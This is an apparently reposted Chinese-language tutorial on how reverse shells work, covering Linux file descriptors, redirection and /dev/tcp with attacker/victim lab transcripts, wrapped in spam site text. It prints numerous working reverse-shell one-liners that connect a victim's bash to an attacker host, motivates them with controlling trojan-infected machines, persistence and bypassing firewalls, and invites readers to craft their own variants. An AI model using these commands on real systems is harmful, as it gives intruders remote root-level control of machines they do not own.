中文字幕日韩精品一区二区免费_精品一区二区三区国产精品无卡在_国精品无码专区一区二区三区_国产αv三级中文在线

反彈shell的原理和作用是什么

本篇內(nèi)容主要講解“反彈shell的原理和作用是什么”,感興趣的朋友不妨來看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“反彈shell的原理和作用是什么”吧!

創(chuàng)新互聯(lián)主要從事成都網(wǎng)站設(shè)計(jì)、成都網(wǎng)站制作、網(wǎng)頁(yè)設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)華安,十余年網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):18982081108

反彈shell(reverse shell)

就是控制端監(jiān)聽在某TCP/UDP端口,被控端發(fā)起請(qǐng)求到該端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端。

攻擊者指定服務(wù)端,受害者主機(jī)主動(dòng)連接攻擊者的服務(wù)端程序,就叫反彈連接。reverse shell與telnet,ssh等標(biāo)準(zhǔn)shell對(duì)應(yīng),本質(zhì)上是網(wǎng)絡(luò)概念的客戶端與服務(wù)端的角色反轉(zhuǎn)。

深入理解文件描述符和重定向才能更好弄懂反彈shell。

場(chǎng)景

1.某客戶機(jī)中了你的網(wǎng)馬,但是它在局域網(wǎng)內(nèi),你直接連接不了。

2.目標(biāo)機(jī)器的ip動(dòng)態(tài)改變,你不能持續(xù)控制。

3.建立一個(gè)服務(wù)端讓惡意程序主動(dòng)連接,持久化。

4.防火墻受限,不能由外向內(nèi)建立連接(不接受外部連接)。(通過傳輸層協(xié)議的全雙工通信實(shí)現(xiàn)交互)

備注:

全雙工傳輸 (Full-Duplex Transmissions)

交換機(jī)在發(fā)送數(shù)據(jù)的同時(shí)也能夠接收數(shù)據(jù),兩者同步進(jìn)行,這好像我們平時(shí)打電話一樣,說話的同時(shí)也能夠聽到對(duì)方的聲音。目前的交換機(jī)都支持全雙工。

單工數(shù)據(jù)傳輸只支持?jǐn)?shù)據(jù)在一個(gè)方向上傳輸;在同一時(shí)間只有一方能接受或發(fā)送信息,不能實(shí)現(xiàn)雙向通信,舉例:電視,廣播,計(jì)算機(jī)與打印機(jī)之間的通信是單工模式。

半雙工數(shù)據(jù)傳輸允許數(shù)據(jù)在兩個(gè)方向上傳輸,但是,在某一時(shí)刻,只允許數(shù)據(jù)在一個(gè)方向上傳輸,它實(shí)際上是一種切換方向的單工通信;在同一時(shí)間只可以有一方接受或發(fā)送信息,可以實(shí)現(xiàn)雙向通信。舉例:對(duì)講機(jī)。

WIKI的定義

全雙工(full-duplex)的系統(tǒng)允許二臺(tái)設(shè)備間同時(shí)進(jìn)行雙向數(shù)據(jù)傳輸。一般的電話、手機(jī)就是全雙工的系統(tǒng),因?yàn)樵谥v話時(shí)同時(shí)也可以聽到對(duì)方的聲音。全雙工的系統(tǒng)可以用一般的雙向車道形容。兩個(gè)方向的車輛因使用不同的車道,因此不會(huì)互相影響。

反彈shell的原理和作用是什么

實(shí)驗(yàn)

測(cè)試一:

攻擊端:

[root@attacker]# nc -lvp 2333            //第一步
Connection from victim_ip:38712
docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether XXXXXXXXXX  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.181.6  netmask 255.255.240.0  broadcast 172.22.191.255
        inet6 fe80::216:3eff:fe0e:9d06  prefixlen 64  scopeid 0x20<link>

//測(cè)試結(jié)果:實(shí)現(xiàn)了將受害端的標(biāo)準(zhǔn)輸出重定向到攻擊端,但是還沒實(shí)現(xiàn)用命令控制受害端。

受害端:

[root@victim]# bash -i > /dev/tcp/attacker_ip/2333  //第二步
[root@victim]# ifconfig                //第三步
[root@victim]#

測(cè)試二:

攻擊端:

[root@attacker]# nc -lvp 2333         //第一步
Connection from victim_ip:38286
hostname                   //第三步(攻擊端執(zhí)行命令)
id
whoami

受害端:

[root@victim]# bash -i < /dev/tcp/attacker_ip/2333    //第二步
[root@victim]# hostname    
attacker
[root@victim]# id
uid=0(root) gid=0(root) groups=0(root)
[root@victim]# whoami
root
[root@victim]#

//測(cè)試結(jié)果:實(shí)現(xiàn)了將攻擊端的輸入重定向到受害端,但是攻擊端看不到命令執(zhí)行結(jié)果。

底層原理

輸出重定向 >,相當(dāng)于 1>,輸入重定向 <,相當(dāng)于0<,如果要使用錯(cuò)誤輸出,寫成 2>。

例如,把正確的結(jié)果放到test.txt,而把錯(cuò)誤的結(jié)果放到test2.txt文件中:

反彈shell的原理和作用是什么

在正常輸入的命令結(jié)尾加上2>&1,這個(gè)語(yǔ)句可以理解為將錯(cuò)誤輸出與標(biāo)準(zhǔn)輸出一致,也就是將他們輸出到一個(gè)文件中:

反彈shell的原理和作用是什么

這里的&符號(hào)是為了區(qū)分文件跟文件描述符的,如果這里沒有&符號(hào),系統(tǒng)會(huì)把它(1)理解為文件,而不是標(biāo)準(zhǔn)輸出

同理,在錯(cuò)誤輸出的命令結(jié)尾加上1>&2,這個(gè)語(yǔ)句可以理解為將標(biāo)準(zhǔn)輸出與錯(cuò)誤輸出一致,也就是將他們輸出到一個(gè)文件中:

反彈shell的原理和作用是什么

查看一個(gè)進(jìn)程打開了哪些文件:

[root@lee]# nc -lvp 2333 

[root@lee]# netstat -ntlp|grep 2333
tcp        0      0 0.0.0.0:2333   0.0.0.0:*  LISTEN      16303/nc

/proc/[進(jìn)程ID]/fd這個(gè)目錄專門用于存放文件描述符

[root@lee]# ll /proc/16303/fd
total 0
lrwx------ 1 root root 64 Apr 20 14:41 0 -> /dev/pts/1
lrwx------ 1 root root 64 Apr 20 14:41 1 -> /dev/pts/1
lrwx------ 1 root root 64 Apr 20 14:41 2 -> /dev/pts/1
lrwx------ 1 root root 64 Apr 20 14:41 3 -> socket:[339049416]
lrwx------ 1 root root 64 Apr 20 14:41 6 -> /dev/pts/1
cd /dev/pts 

ll

反彈shell的原理和作用是什么

上圖的多個(gè)tty我理解為交互式shell(終端)的數(shù)量。tty設(shè)備包括虛擬控制臺(tái),串口以及偽終端設(shè)備。

上圖我用xshell起了7個(gè)交互式shell,都關(guān)閉只保留一個(gè)時(shí):

反彈shell的原理和作用是什么

/dev

dev是設(shè)備(device)的英文縮寫。這個(gè)目錄中包含了所有Linux系統(tǒng)中使用的外部設(shè)備。是一個(gè)訪問這些外部設(shè)備的端口。我們可以非常方便地去訪問這些外部設(shè)備,和訪問一個(gè)文件,一個(gè)目錄沒有任何區(qū)別。(Linux一切皆文件)

/dev/null

/dev/null 它是空設(shè)備,也稱為位桶(bit bucket)或者黑洞(black hole)。你可以向它輸入任何數(shù)據(jù),但任何寫入它的數(shù)據(jù)都會(huì)被拋棄。通常用于處理不需要的輸出流。(當(dāng)然,它也可以作為空的輸入流)

例如:

反彈shell的原理和作用是什么

/dev/zero

/dev/zero

創(chuàng)建一個(gè)為NULL填充的文件。

dd if=/dev/zero of=foobar count=2 bs=1024 

dd:用指定大小的塊拷貝一個(gè)文件,并在拷貝的同時(shí)進(jìn)行指定的轉(zhuǎn)換。

反彈shell的原理和作用是什么

linux命令總結(jié)dd命令詳解

/dev/pty

偽終端(/dev/pty/)

偽終端(Pseudo Terminal)是成對(duì)的邏輯終端設(shè)備(即master和slave設(shè)備, 對(duì)master的操作會(huì)反映到slave上)。

/dev/tty

/dev/tty是當(dāng)前進(jìn)程的控制終端的設(shè)備特殊文件。

其他

/dev/hd[a-t]:IDE設(shè)備
/dev/sd[a-z]:SCSI設(shè)備
/dev/fd[0-7]:標(biāo)準(zhǔn)軟驅(qū)
/dev/md[0-31]:軟raid設(shè)備
/dev/loop[0-7]:本地回環(huán)設(shè)備
/dev/ram[0-15]:內(nèi)存
/dev/null:無限數(shù)據(jù)接收設(shè)備,相當(dāng)于黑洞
/dev/zero:無限零資源
/dev/tty[0-63]:虛擬終端
/dev/ttyS[0-3]:串口
/dev/lp[0-3]:并口
/dev/console:控制臺(tái)
/dev/fb[0-31]:framebuffer
/dev/cdrom => /dev/hdc
/dev/modem => /dev/ttyS[0-9]
/dev/pilot => /dev/ttyS[0-9]
/dev/random:隨機(jī)數(shù)設(shè)備
/dev/urandom:隨機(jī)數(shù)設(shè)備

bash -i >& /dev/tcp/ip/port 0>&1

bash -i 表示創(chuàng)建一個(gè)交互式的shell

/dev/tcp/ip/port,這個(gè)文件不是存在的,但是當(dāng)你在監(jiān)聽這個(gè)端口的時(shí)候,對(duì)這個(gè)文件進(jìn)行讀寫,就可以實(shí)現(xiàn)兩個(gè)主機(jī)之間的socket通信

首先我們?cè)诠魴C(jī)開啟監(jiān)聽,然后在Linux機(jī)器上輸入下面的命令,即將指定字符通過tcp協(xié)議發(fā)送到攻擊機(jī)的2333端口:

echo 1 > /dev/tcp/attacker_ip/2333

攻擊機(jī)監(jiān)聽:

nc -lvp 2333
Connection from victim_ip:49948
1

UDP發(fā)包同理:

echo 2 > /dev/udp/attacker_ip/2333

攻擊機(jī)監(jiān)聽:

nc -luvp 2333
Received packet from victim_ip:22367 -> 192.168.0.226:2333 (local)
1

2>&1 將錯(cuò)誤輸出和標(biāo)準(zhǔn)輸出輸出到同一個(gè)文件(Linux一切皆文件):

靶機(jī):

echo1 1> /dev/tcp/attacker_ip/2333 2>&1

攻擊機(jī):

[root@attacker ~]# nc -lvp 2333
Connection from victim_ip:5479
-bash: echo1: command not found

通過 <將標(biāo)準(zhǔn)輸出改成標(biāo)準(zhǔn)輸入:

靶機(jī):

cat < /dev/tcp/attacker_ip/2333
qwer
asdf

攻擊機(jī):

nc -lvp 2333 
Connection from victim_ip:23610
qwer
asdf

在攻擊機(jī)傳輸?shù)膬?nèi)容會(huì)被重定向到靶機(jī)。

輸入重定向原理:

反彈shell的原理和作用是什么

掌握了上面的原理,可以隨意構(gòu)建反彈shell命令:

攻擊:

nc -lvp 2333

靶機(jī):

bash -i 0< /dev/tcp/ip/2333 1>&0 2>&0

或:

bash -i 0< /dev/tcp/ip/2333 1>&0 2>&1 
bash -i < /dev/tcp/ip/2333 >&0 2>&1 
bash -i 1> /dev/tcp/ip/2333 0>&1 2>&1 
bash -i 1> /dev/tcp/ip/2333 0>&1 2>&0

其他變形:

bash -i 1>& /dev/tcp/ip/port 0>&1 
bash -i 1>& /dev/tcp/ip/port 0>&2 
bash -i &> /dev/tcp/ip/port 0>&1 
bash -i &> /dev/tcp/ip/port 0>&2

bash -i后的&>或>&表示混合輸出,即標(biāo)準(zhǔn)輸出1 +錯(cuò)誤輸出2

bash 和 sh 的一點(diǎn)兒區(qū)別

sh 遵循POSIX規(guī)范:“當(dāng)某行代碼出錯(cuò)時(shí),不繼續(xù)往下解釋”。bash 就算出錯(cuò),也會(huì)繼續(xù)向下執(zhí)行。

簡(jiǎn)單說,sh是bash的一種特殊的模式,sh就是開啟了POSIX標(biāo)準(zhǔn)的bash, /bin/sh 相當(dāng)于 /bin/bash --posix

在Linux系統(tǒng)上/bin/sh往往是指向/bin/bash的符號(hào)鏈接

ln -s /bin/bash /bin/sh

其他變形

Unix操作系統(tǒng)通常給每個(gè)進(jìn)程能打開的文件數(shù)量強(qiáng)加一個(gè)限制,ulimit -n查看系統(tǒng)默認(rèn)的文件描述符個(gè)數(shù)。

例如:

# ulimit -n
655360

表示系統(tǒng)支持的文件描述符 0-655359

page 1:

打開"File"并且將fd 655359分配給它:

[j]<>filename
# 為了讀寫"filename", 把文件"filename"打開, 并且將文件描述符"j"分配給它.
# 如果文件"filename"不存在, 那么就創(chuàng)建它.

eg:

exec 655359<> File

反彈shell的原理和作用是什么

&- 關(guān)閉標(biāo)準(zhǔn)輸出

n&- 表示將n號(hào)輸出關(guān)閉

page2:

攻擊機(jī):

[root@attacker]# nc -lvp 2333             # 第一步
Connection from victim_ip:46414
helloworld                                # 第三步
123

受害機(jī):

[root@victim]# exec 65534<>/dev/tcp/attacker_ip/2333  # 第二步
[root@victim]# cat <&65534
helloworld
123

受害機(jī)的文件描述符同步讀取到攻擊機(jī)的寫入。

page3:

[root@attacker]# nc -lvp 2333
Connection from victim_ip:46536
id
11

受害機(jī):

[root@victim]#exec 65534<>/dev/tcp/attacker_ip/2333;cat <&65534|while read line;do $line;done
uid=0(root) gid=0(root) groups=0(root)
-bash: 11: command not found

受害機(jī)的文件描述符同步讀取到攻擊機(jī)的寫入并通過shell腳本執(zhí)行;

page4:

受害機(jī)的文件描述符同步讀取到攻擊機(jī)的寫入并通過shell腳本執(zhí)行后返回到文件描述符。

exec 65534<>/dev/tcp/attacker_ip/2333;cat<&65534|while read line;do $line 2>&65534 >&amp65534;done

總結(jié)

掌握了原理,可以寫出各種變形,例如:

exec 8<>/dev/tcp/attacker_ip/2333;bash<&8 >&8 2>&8

大家可以自由發(fā)揮。

到此,相信大家對(duì)“反彈shell的原理和作用是什么”有了更深的了解,不妨來實(shí)際操作一番吧!這里是創(chuàng)新互聯(lián)網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

文章名稱:反彈shell的原理和作用是什么
URL地址:http://www.rwnh.cn/article22/jipccc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供手機(jī)網(wǎng)站建設(shè)、外貿(mào)網(wǎng)站建設(shè)、動(dòng)態(tài)網(wǎng)站、微信公眾號(hào)、域名注冊(cè)、做網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

外貿(mào)網(wǎng)站建設(shè)
巴林右旗| 察雅县| 孟连| 昭平县| 梁河县| 抚顺县| 广河县| 腾冲县| 宝山区| 静安区| 高青县| 南投市| 关岭| 金门县| 芜湖市| 孝义市| 林西县| 玛多县| 车险| 弋阳县| 广西| 正定县| 德州市| 工布江达县| 墨脱县| 石首市| 青川县| 安国市| 西和县| 东山县| 曲阜市| 海淀区| 长宁区| 杂多县| 平度市| 介休市| 丹凤县| 邻水| 阿巴嘎旗| 城口县| 株洲县|